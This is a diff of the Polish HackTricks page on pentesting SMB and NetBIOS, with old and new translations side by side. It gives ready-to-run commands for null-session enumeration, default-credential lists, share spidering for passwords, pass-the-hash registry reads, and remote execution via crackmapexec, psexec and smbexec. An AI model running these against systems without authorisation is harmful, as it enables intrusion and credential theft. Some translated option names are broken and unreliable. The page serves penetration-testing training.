* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,58 +2,57 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## **Port 139**
**_Network Basic Input Output System_ (NetBIOS)** to protokół oprogramowania zaprojektowany do umożliwienia aplikacjom, komputerom i pulpitom w ramach lokalnej sieci LAN interakcji z sprzętem sieciowym i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS są osiągane za pomocą ich nazw NetBIOS, które mogą mieć maksymalnie 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołaj" inną aplikację (działającą jako serwer), korzystając z **Portu TCP 139**.
_**System podstawowego wejścia-wyjścia sieciowego** (NetBIOS)_** (NetBIOS)** to protokół programowy zaprojektowany do umożliwienia aplikacjom, komputerom i komputerom stacjonarnym w lokalnej sieci LAN (Local Area Network) interakcji z sprzętem sieciowym i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS są osiągane poprzez ich nazwy NetBIOS, które mogą mieć maksymalnie 16 znaków i często są odrębne od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer), korzystając z **Portu TCP 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Technicznie rzecz biorąc, Port 139 jest określany jako 'NBT over IP', podczas gdy Port 445 jest identyfikowany jako 'SMB over IP'. Skrót **SMB** oznacza '**Server Message Blocks**', który jest również znany jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest głównie wykorzystywany do udostępniania wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwiania różnych form komunikacji między węzłami w sieci.
Technicznie rzecz biorąc, Port 139 jest określany jako „NBT nad IP”, podczas gdy Port 445 jest identyfikowany jako „SMB nad IP”. Skrót **SMB** oznacza „**Server Message Blocks**”, który jest również współcześnie znany jako **Common Internet File System (CIFS)**. Jako protokół warstwy aplikacji sieciowej, SMB/CIFS jest głównie wykorzystywany do umożliwienia współdzielonego dostępu do plików, drukarek, portów szeregowych oraz ułatwienia różnych form komunikacji między węzłami w sieci.
Na przykład, w kontekście systemu Windows, zaznacza się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność korzystania z NetBIOS nad TCP/IP, poprzez wykorzystanie portu 445. Natomiast na innych systemach obserwuje się użycie portu 139, co wskazuje na wykonanie SMB w połączeniu z NetBIOS nad TCP/IP.
Na przykład, w kontekście systemu Windows, zaznacza się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność korzystania z NetBIOS nad TCP/IP, poprzez wykorzystanie portu 445. Natomiast, na innych systemach, zauważa się użycie portu 139, co wskazuje, że SMB jest wykonywane w połączeniu z NetBIOS nad TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, został zaprojektowany do regulowania **dostępu do plików**, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia kompatybilność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi, które działają na starszych wersjach. Dodatkowo, projekt **Samba** oferuje bezpłatne oprogramowanie, umożliwiające implementację SMB na systemach **Linux** i Unix, ułatwiając tym samym komunikację międzyplatformową za pomocą SMB.
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest przeznaczony do regulowania **dostępu do plików**, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia kompatybilność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu na bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo projekt **Samba** oferuje darmowe oprogramowanie, umożliwiając implementację SMB na systemach **Linux** i Unix, ułatwiając tym samym komunikację międzyplatformową za pomocą SMB.
Udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być udostępniane przez serwer SMB, co sprawia, że hierarchia jest widoczna dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy kontroli dostępu (ACL)**, które definiują **prawa dostępu**, umożliwiają **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`execute`**, **`read`** i **`full access`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, na podstawie udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
Udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być udostępniane przez serwer SMB, sprawiając, że hierarchia staje się widoczna dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy kontroli dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** uprawnień użytkowników, w tym atrybutów takich jak **`wykonaj`**, **`odczyt`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, na podstawie udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
### Udział IPC$
Dostęp do udziału IPC$ można uzyskać za pomocą anonimowej sesji null, umożliwiając interakcję z usługami udostępnianymi za pomocą nazwanych potoków. Narzędzie `enum4linux` jest przydatne w tym celu. Poprawnie wykorzystane, umożliwia zdobycie:
Dostęp do udziału IPC$ można uzyskać za pomocą anonimowej sesji null, umożliwiając interakcję z usługami udostępnionymi za pomocą nazwanych potoków. Narzędzie `enum4linux` jest przydatne w tym celu. Poprawnie wykorzystane, umożliwia zdobycie:
- Informacji o systemie operacyjnym
- Szczegółów dotyczących domeny nadrzędnej
- Kompilacji lokalnych użytkowników i grup
- Informacji o dostępnych udziałach SMB
- Efektywnej polityki bezpieczeństwa systemu
* Informacji o systemie operacyjnym
* Szczegółów na temat domeny nadrzędnej
* Kompilacji lokalnych użytkowników i grup
* Informacji na temat dostępnych udziałów SMB
* Efektywnej polityki bezpieczeństwa systemu
Ta funkcjonalność jest kluczowa dla administratorów sieci i profesjonalistów ds. bezpieczeństwa w celu oceny stanu bezpieczeństwa usług SMB (Server Message Block) w sieci. `enum4linux` zapewnia wszechstronne spojrzenie na środowisko SMB systemu docelowego, co jest niezbędne do identyfikacji potencjalnych podatności i zapewnienia odpowiedniego zabezpieczenia usług SMB.
Ta funkcjonalność jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa w celu oceny postawy bezpieczeństwa usług SMB (Server Message Block) w sieci. `enum4linux` zapewnia kompleksowy widok środowiska SMB systemu docelowego, co jest istotne dla identyfikacji potencjalnych podatności i zapewnienia właściwego zabezpieczenia usług SMB.
```bash
enum4linux -a target_ip
```
Powyższa komenda jest przykładem, jak można użyć `enum4linux` do przeprowadzenia pełnej enumeracji na celu określonym przez `target_ip`.
Powyższa komenda jest przykładem, jak `enum4linux` może być używany do przeprowadzenia pełnej enumeracji przeciwko określonemu celowi określonemu przez `target_ip`.
## Co to jest NTLM
Jeśli nie wiesz, czym jest NTLM lub chcesz dowiedzieć się, jak działa i jak go wykorzystać, z pewnością zainteresuje Cię ta strona na temat **NTLM**, gdzie wyjaśniono, **jak działa ten protokół i jak można z niego skorzystać:**
Jeśli nie wiesz, co to jest NTLM, lub chcesz dowiedzieć się, jak działa i jak go wykorzystać, znajdziesz bardzo interesującą tę stronę o **NTLM**, gdzie jest wyjaśnione **jak działa ten protokół i jak możesz z niego skorzystać:**
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
@ -61,13 +60,13 @@ Jeśli nie wiesz, czym jest NTLM lub chcesz dowiedzieć się, jak działa i jak
## **Enumeracja serwera**
### **Skanowanie** sieci w poszukiwaniu hostów:
### **Skanuj** sieć w poszukiwaniu hostów:
```bash
nbtscan -r 192.168.0.1/24
```
### Wersja serwera SMB
Aby szukać możliwych podatności w wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, można:
Aby znaleźć potencjalne luki w wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
* Użyć modułu pomocniczego **MSF** \_**auxiliary/scanner/smb/smb\_version**
* Lub ten skrypt:
@ -87,20 +86,12 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Wyszukiwanie eksploitów**
To find exploits for a specific vulnerability, you can use various online resources such as exploit databases, security forums, and vulnerability databases. These resources provide a collection of known exploits that can be used to exploit specific vulnerabilities in target systems.
To search for exploits, you can use search engines like Google or specialized search tools like searchsploit. By using specific search queries, you can narrow down your search and find relevant exploits.
When searching for exploits, it is important to consider the version of the software or service you are targeting. Exploits are often specific to certain versions, so make sure to include the version number in your search query.
Remember that using exploits without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before attempting to use any exploits.
### **Wyszukiwanie exploitów**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Możliwe** dane uwierzytelniające
### **Możliwe** Dane Logowania
| **Nazwa użytkownika** | **Powszechne hasła** |
| -------------------- | ----------------------------------------- |
@ -112,13 +103,13 @@ searchsploit microsoft smb
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | hasło, test, lab, demo |
### Atak siłowy
### Atak Brute Force
* [**Atak siłowy na SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
* [**Atak Brute Force na SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
### Informacje o środowisku SMB
### Informacje o Środowisku SMB
### Uzyskanie informacji
### Pozyskiwanie Informacji
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
@ -140,9 +131,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Wyliczanie użytkowników, grup i zalogowanych użytkowników
### Wylicz Użytkowników, Grupy i Zalogowanych Użytkowników
Te informacje powinny być już zbierane za pomocą narzędzi enum4linux i enum4linux-ng.
Te informacje powinny być już zbierane za pomocą enum4linux i enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -154,96 +145,17 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Wyliczanie lokalnych użytkowników
### Wylicz lokalnych użytkowników
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Pentesting SMB
==============
SMB (Server Message Block) is a network protocol used for file sharing, printer sharing, and communication between devices in a network. It is commonly used in Windows operating systems.
SMB Enumeration
----------------
SMB enumeration is the process of gathering information about SMB shares, users, and groups on a target system. This information can be used to identify potential vulnerabilities and misconfigurations.
To enumerate SMB shares, you can use tools like `smbclient`, `smbmap`, or `enum4linux`. These tools allow you to connect to an SMB server and list the available shares.
To enumerate users and groups, you can use tools like `rpcclient` or `enum4linux`. These tools allow you to query the SMB server for information about users and groups.
SMB Exploitation
----------------
Once you have identified potential vulnerabilities or misconfigurations, you can proceed with SMB exploitation. There are several techniques that can be used to exploit SMB, including:
- **Brute forcing**: This involves attempting to guess the username and password for an SMB share. Tools like `hydra` or `medusa` can be used for this purpose.
- **SMB relay**: This technique involves intercepting SMB traffic and relaying it to another target. This can be used to gain unauthorized access to a target system. Tools like `Responder` or `ntlmrelayx` can be used for SMB relay attacks.
- **SMB signing downgrade**: This technique involves downgrading the SMB signing level to allow for the interception and modification of SMB traffic. Tools like `impacket` can be used for this purpose.
- **SMB command injection**: This technique involves injecting malicious commands into an SMB request to execute arbitrary code on a target system. This can be used to gain remote code execution. Tools like `Metasploit` or `Empire` can be used for SMB command injection.
SMB Post-Exploitation
---------------------
Once you have successfully exploited an SMB vulnerability, you can proceed with post-exploitation activities. These activities may include:
- **Privilege escalation**: This involves escalating your privileges on the target system to gain higher levels of access. Techniques like `token impersonation` or `exploiting weak service permissions` can be used for privilege escalation.
- **Data exfiltration**: This involves stealing sensitive data from the target system. Tools like `smbclient` or `copy` command can be used to copy files from the target system to your local machine.
- **Persistence**: This involves maintaining access to the target system even after a reboot or system update. Techniques like `creating a backdoor user` or `modifying startup scripts` can be used for persistence.
- **Lateral movement**: This involves moving laterally within the network to gain access to other systems. Techniques like `pass-the-hash` or `pass-the-ticket` can be used for lateral movement.
SMB Security Best Practices
---------------------------
To secure SMB services, it is recommended to follow these best practices:
- **Disable SMBv1**: SMBv1 is an outdated and insecure version of the SMB protocol. It is recommended to disable SMBv1 and use newer versions like SMBv2 or SMBv3.
- **Enable SMB signing**: SMB signing helps to ensure the integrity and authenticity of SMB traffic. It is recommended to enable SMB signing to prevent tampering and unauthorized access.
- **Use strong authentication**: It is recommended to use strong authentication mechanisms like NTLMv2 or Kerberos for SMB authentication.
- **Implement access controls**: It is recommended to implement proper access controls to restrict access to SMB shares and resources.
- **Regularly update and patch**: It is important to regularly update and patch SMB servers to protect against known vulnerabilities.
- **Monitor SMB traffic**: Monitoring SMB traffic can help to detect and prevent unauthorized access and suspicious activities.
- **Disable guest access**: It is recommended to disable guest access to prevent unauthorized access to SMB shares.
- **Encrypt SMB traffic**: Encrypting SMB traffic using protocols like SMB over SSL/TLS (SMB3 encryption) can help to protect sensitive data from eavesdropping.
- **Implement network segmentation**: Implementing network segmentation can help to isolate SMB services from other critical systems and reduce the impact of a potential compromise.
- **Regularly backup data**: Regularly backing up data can help to recover from a potential ransomware attack or data loss.
- **Educate users**: It is important to educate users about the risks associated with SMB and the importance of following security best practices.
Jednolinijkowiec
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Wyliczanie lokalnych użytkowników
Metasploit to potężne narzędzie do testowania penetracyjnego, które można wykorzystać do wyliczania lokalnych użytkowników w systemie. Poniżej przedstawiono kroki, które należy podjąć, aby to osiągnąć:
1. Uruchom Metasploit Framework, wpisując polecenie `msfconsole` w terminalu.
2. Wybierz odpowiedni moduł do wyliczania lokalnych użytkowników, wpisując polecenie `use windows/smb_enumusers`.
3. Skonfiguruj wymagane opcje, takie jak `RHOSTS` (adres IP docelowego systemu) i `RPORT` (port SMB). Możesz to zrobić, wpisując polecenie `set RHOSTS <adres_IP>` i `set RPORT <port>`.
4. Uruchom moduł, wpisując polecenie `run`.
Metasploit przeprowadzi teraz skanowanie systemu w poszukiwaniu lokalnych użytkowników. Wyniki zostaną wyświetlone na ekranie, zawierając informacje takie jak nazwa użytkownika, SID (Security Identifier) i grupy, do których należy użytkownik.
To narzędzie jest niezwykle przydatne podczas testowania penetracyjnego, ponieważ umożliwia identyfikację potencjalnych luk w zabezpieczeniach systemu. Pamiętaj jednak, że wykorzystywanie Metasploit do celów nielegalnych lub bez zgody właściciela systemu jest nielegalne i nieetyczne.
### Metasploit - Wylicz lokalnych użytkowników
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
@ -267,9 +179,9 @@ run
## Wyliczanie udostępnionych folderów
### Wyświetlanie udostępnionych folderów
### Lista udostępnionych folderów
Zawsze zaleca się sprawdzenie, czy można uzyskać dostęp do czegokolwiek. Jeśli nie masz poświadczeń, spróbuj użyć **pustych poświadczeń/użytkownika gościa**.
Zawsze zaleca się sprawdzenie, czy można uzyskać dostęp do czegokolwiek, jeśli nie masz poświadczeń, spróbuj użyć **pustych poświadczeń/użytkownika gościa**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -283,25 +195,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
To connect to a shared folder on a remote machine, you can use the `smbclient` tool. This tool allows you to interact with SMB (Server Message Block) shares.
To connect to a shared folder, use the following command:
```plaintext
smbclient //<IP_ADDRESS>/<SHARE_NAME> -U <USERNAME>
```
Replace `<IP_ADDRESS>` with the IP address of the remote machine and `<SHARE_NAME>` with the name of the shared folder you want to connect to. Additionally, replace `<USERNAME>` with a valid username on the remote machine.
Once connected, you can use various commands to interact with the shared folder. For example, you can use the `ls` command to list the contents of the shared folder:
```plaintext
ls
```
This will display a list of files and directories in the shared folder.
Remember to provide valid credentials (username and password) when prompted to authenticate with the remote machine.
### **Połączenie/Listowanie współdzielonego folderu**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -315,9 +209,9 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Ręczne wyliczanie udziałów systemu Windows i łączenie się z nimi**
Może się zdarzyć, że masz ograniczone uprawnienia do wyświetlania udziałów na maszynie docelowej i gdy próbujesz je wymienić, wydaje się, że nie ma żadnych udziałów, do których można się podłączyć. Warto w takim przypadku spróbować ręcznie połączyć się z udziałem. Aby ręcznie wyliczyć udziały, warto szukać odpowiedzi takich jak NT\_STATUS\_ACCESS\_DENIED i NT\_STATUS\_BAD\_NETWORK\_NAME, gdy używasz ważnej sesji (np. pustej sesji lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Może się zdarzyć, że jesteś ograniczony w wyświetlaniu udziałów hosta i gdy próbujesz je wymienić, wydaje się, że nie ma żadnych udziałów do połączenia. Warto wtedy spróbować ręcznie połączyć się z udziałem. Aby ręcznie wyliczyć udziały, możesz szukać odpowiedzi takich jak NT\_STATUS\_ACCESS\_DENIED i NT\_STATUS\_BAD\_NETWORK\_NAME, gdy używasz ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Wspólne nazwy udziałów dla celów systemów Windows to:
Powszechne nazwy udziałów dla celów systemów Windows to
* C$
* D$
@ -328,9 +222,9 @@ Wspólne nazwy udziałów dla celów systemów Windows to:
* SYSVOL
* NETLOGON
(Wspólne nazwy udziałów z książki _**Network Security Assessment 3rd edition**_)
(Powszechne nazwy udziałów z _**Network Security Assessment 3rd edition**_)
Możesz spróbować połączyć się z nimi, używając następującej komendy:
Możesz spróbować się z nimi połączyć, używając następującej komendy
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
@ -357,7 +251,7 @@ Przykłady
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Wyliczanie udziałów z systemu Windows / bez użycia narzędzi innych firm**
### **Wyliczanie udziałów z systemu Windows / bez użycia narzędzi firm trzecich**
PowerShell
```powershell
@ -383,7 +277,7 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (graficzny), wpisz `\\<ip>\`, aby zobaczyć dostępne nieukryte udziały.
explorer.exe (graficzny), wpisz `\\<ip>\` aby zobaczyć dostępne nieukryte udziały.
### Zamontuj udostępniony folder
```bash
@ -407,73 +301,73 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Polecenia:
### Wyszukiwanie udostępnionych folderów domenowych
* mask: określa maskę, która jest używana do filtrowania plików w katalogu (np. "" dla wszystkich plików)
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
Komendy:
* mask: określa maskę używaną do filtrowania plików w katalogu (np. "" dla wszystkich plików)
* recurse: przełącza rekursję (domyślnie: wyłączone)
* prompt: wyłącza pytanie o nazwy plików (domyślnie: włączone)
* mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta
(_Informacje z manpage smbclient_)
### Wyszukiwanie udostępnionych folderów domenowych
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) - pająk.
* `-M spider_plus [--share <nazwa_udziału>]`
* `--pattern txt`
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) pająk.
* `-M pająk_plus [--share <nazwa_udziału>]`
* `--wzorzec txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Szczególnie interesujące są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologonem** za pomocą Group Policy. Lub pliki **`web.config`**, ponieważ zawierają poświadczenia.
**Szczególnie interesujące są pliki o nazwie `Registry.xml`, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologonem** za pomocą zasad grupy. Lub pliki `web.config`, ponieważ zawierają poświadczenia.**
{% hint style="info" %}
Udział **SYSVOL** jest **odczytywalny** przez wszystkich uwierzytelnionych użytkowników w domenie. W nim możesz **znaleźć** wiele różnych skryptów wsadowych, VBScript i PowerShell.\
Powinieneś **sprawdzić** skrypty wewnątrz, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
**Udział SYSVOL** jest **do odczytu** przez wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów wsadowych, skryptów VBScript i PowerShell.\
Powinieneś **sprawdzić** te **skrypty**, ponieważ możesz w nich **znaleźć** wrażliwe informacje, takie jak **hasła**.
{% endhint %}
## Odczytaj rejestr
Możesz próbować **odczytać rejestr** za pomocą odkrytych poświadczeń. Narzędzie Impacket **`reg.py`** pozwala na to:
Możesz być w stanie **odczytać rejestr** za pomocą odkrytych poświadczeń. Impacket **`reg.py`** pozwala Ci to wypróbować:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Eksploatacja
## Post Exploitation
Domyślna konfiguracja serwera **Samba** zazwyczaj znajduje się w `/etc/samba/smb.conf` i może zawierać niebezpieczne ustawienia:
Domyślna konfiguracja serwera **Samba** zazwyczaj znajduje się w `/etc/samba/smb.conf` i może zawierać kilka **niebezpiecznych konfiguracji**:
| **Ustawienie** | **Opis** |
| **Ustawienie** | **Opis** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Czy można wyświetlać dostępne udziały w bieżącym udziale? |
| `read only = no` | Czy zabronić tworzenia i modyfikowania plików? |
| `writable = yes` | Czy zezwolić użytkownikom na tworzenie i modyfikowanie plików? |
| `guest ok = yes` | Czy zezwolić na połączenie z usługą bez użycia hasła? |
| `enable privileges = yes` | Czy uwzględnić przywileje przypisane do określonego SID? |
| `create mask = 0777` | Jakie uprawnienia mają być przypisane do nowo utworzonych plików? |
| `directory mask = 0777` | Jakie uprawnienia mają być przypisane do nowo utworzonych katalogów? |
| `logon script = script.sh` | Jaki skrypt ma być uruchomiony podczas logowania użytkownika? |
| `magic script = script.sh` | Jaki skrypt powinien być uruchomiony po zamknięciu skryptu? |
| `magic output = script.out` | Gdzie należy przechowywać wynik magicznego skryptu? |
| `browseable = yes` | Czy zezwolić na wyświetlanie dostępnych zasobów w bieżącym udziale? |
| `read only = no` | Czy zabronić tworzenia i modyfikowania plików? |
| `writable = yes` | Czy zezwolić użytkownikom na tworzenie i modyfikowanie plików? |
| `guest ok = yes` | Czy zezwolić na połączenie z usługą bez użycia hasła? |
| `enable privileges = yes` | Czy honorować przywileje przypisane do konkretnego SID? |
| `create mask = 0777` | Jakie uprawnienia należy przypisać do nowo utworzonych plików? |
| `directory mask = 0777` | Jakie uprawnienia należy przypisać do nowo utworzonych katalogów? |
| `logon script = script.sh` | Jaki skrypt ma być wykonany podczas logowania użytkownika? |
| `magic script = script.sh` | Który skrypt powinien być wykonany po zamknięciu skryptu? |
| `magic output = script.out` | Gdzie należy przechowywać wynik magicznego skryptu? |
Polecenie `smbstatus` dostarcza informacji o **serwerze** i o **podłączonych użytkownikach**.
Polecenie `smbstatus` dostarcza informacje o **serwerze** i o **podłączonych użytkownikach**.
## Uwierzytelnianie za pomocą Kerberos
## Uwierzytelnianie za pomocą Kerberosa
Możesz **uwierzytelnić** się do **Kerberosa** za pomocą narzędzi **smbclient** i **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Wykonuj polecenia**
## **Wykonaj polecenia**
### **crackmapexec**
crackmapexec może wykonywać polecenia, **wykorzystując** dowolną z metod **mmcexec, smbexec, atexec, wmiexec**, przy czym domyślną metodą jest **wmiexec**. Możesz wskazać, którą opcję chcesz użyć za pomocą parametru `--exec-method`:
crackmapexec może wykonywać polecenia **wykorzystując** dowolną z metod **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest metodą **domyślną**. Możesz wskazać, którą opcję chcesz użyć za pomocą parametru `--exec-method`:
```bash
apt-get install crackmapexec
@ -497,9 +391,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Obie opcje **tworzą nową usługę** (korzystając z _\pipe\svcctl_ przez SMB) na maszynie ofiary i używają jej do **wykonania czegoś** (**psexec** **wysyła** plik wykonywalny do udziału ADMIN$ i **smbexec** wskazuje na **cmd.exe/powershell.exe** i umieszcza w argumentach ładunek --technika bez pliku--).\
Obie opcje **tworzą nową usługę** (korzystając z _\pipe\svcctl_ przez SMB) na maszynie ofiary i używają jej do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ i **smbexec** wskaże **cmd.exe/powershell.exe** i umieści w argumentach ładunek --**technika bez pliku-**-).\
**Więcej informacji** na temat [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) i [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/.
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
